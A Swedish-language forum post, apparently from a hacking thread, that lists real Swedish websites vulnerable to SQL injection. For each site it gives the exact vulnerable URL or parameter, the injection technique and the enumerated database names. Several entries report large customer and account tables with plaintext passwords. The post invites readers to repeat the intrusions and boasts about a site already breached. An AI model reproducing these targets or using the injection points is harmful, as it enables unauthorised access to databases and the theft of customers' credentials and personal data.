Samling av sidor med säkerhetsbrister - Del 2

http://www.skrattkammaren.com/bevakning.php?a=2973

MySQL >= 5.0 AND error-based

• available databases [25]:
• airsoftkulor
• airsoftkulorbackup
• auditing
• backup
• blogg.skrattkammaren.com
• bomberjacka
• development
• flagga24
• forum
• goldin
• information_schema
• kamouflagenat
• lighttpd
• livechat
• mikael
• mysql
• palsmossa
• rodastjarnan
• rodastjarnan2
• skrattkammaren
• skrattkammarenBACKUP
• todo
• transaction
• vuxenprylar
• whitestone

http://www.marykay.se/sub.php?page=804&p=webshop&menu=9&cat=../sub.php?menu=804&p=webshop&pg=001&c=&p=webshop&pg= 001

MySQL > 5.0.11 AND time-based blind

• available databases [7]:
• cacti
• information_schema
• intranet_marykay
• marykay
• marykay_se
• marykay_terminal
• mysql

Count of marykay.b2ccustomers is 669967 och passwords i klartext

Linux maryk-lb2 2.6.18-128.1.6.el5 #1 SMP Wed Apr 1 09:10:25 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux

Om någon kommer fram till samma och tycker det var allt för lätt hör av er med en kort beskrivning om hur. Om du vill ha en vän att bolla med.

http://www.headspot.com/index.php?route=common/store_locations&shop_id=35

MySQL UNION query (random number) - 10 columns

• available databases [13]:
• dbsoass
• devheadspot
• devkvittokungen
• elements46
• headspot
• information_schema
• internetmarketing
• kvittoexpressen
• kvittokungen
• mysql
• phpmyadmin
• salongbarelias
• soass_homepage

inte kollat men lär vara ett antal kunder

http://www.dearest.se/index.php?osCsid=n6678keda42u5bbuo5ac1iuvt7

Parameter: Referer

MySQL >= 5.0 AND error-based

• available databases [2]:
• 100273-shop
• information_schema

http://www.hamnen.se/hamnar/sjomackar/searchresult.php?ListTypeId=3&areaId=53

MySQL >= 5.0 AND error-based

• available databases [6]:
• hamnen_gasthamnar
• hamnen_h257
• hamnen_projectlogin
• hamnen_transferdata
• information_schema
• test

Count of hamnen_gasthamnar.users is 110 och passwords i klartext

http://www.shamanya.se/index.php?cPath=23_33

Parameter: Referer
MySQL >= 5.0 AND error-based

• available databases [2]:
• easywebbhotell_butik
• information_schema

http://3w.se/vote.php

Post data: vs=0&adddbid=12259&register=R%F6sta

"vs" är den sårbara variablen.

33851 domäner/konton med klartext lösenord

available databases [4]:

• dme_3w2
• information_schema
• mysql
• test

http://www.allabolag.se/?nyheter=1&short=dn

MySQL >= 5.0 AND error-based

• available databases [8]:
• abdata
• abdb4
• information_schema
• myndb
• mysql
• newsdb
• test
• test2

http://www.rookies.se/schedule.php?tid=21&tbd=schedule_dsummer

MySQL UNION query (NULL) - 6 columns

• available databases [39]:
• d25500
• d25500_aggregate
• d25500_aocho
• d25500_bilpunkten
• d25500_dinabilder
• d25500_docksta
• d25500_easyt
• d25500_ems
• d25500_et_beta
• d25500_foedus
• d25500_fredrik
• d25500_ggbs
• d25500_gokartcenter
• d25500_itshelia
• d25500_jhagberg
• d25500_koutsou
• d25500_lapoint
• d25500_LD3
• d25500_ldblog
• d25500_ludvigsson
• d25500_menyou
• d25500_meza
• d25500_moderadet
• d25500_nocx
• d25500_nocxdummy
• d25500_oscarmagnuson
• d25500_panda
• d25500_pehtr
• d25500_q5
• d25500_ramstroms
• d25500_rhedin
• d25500_sarabille
• d25500_sbr
• d25500_sfw
• d25500_tomsvensson
• d25500_tulebycom
• d25500_villavagnen
• d25500_wannerstedt
• information_schema

http://www.idg.se/2.1085/1.578829/allabolag-drabbat-av-databasintrang

Haha, bara till att ignorera IDG då mycket större sidor har hackats i denna tråd. Antagligen har IDG eller deras kunder en relation till Allabolag så det är en riktad nyhet.

F.ö har allabolag hackats innan.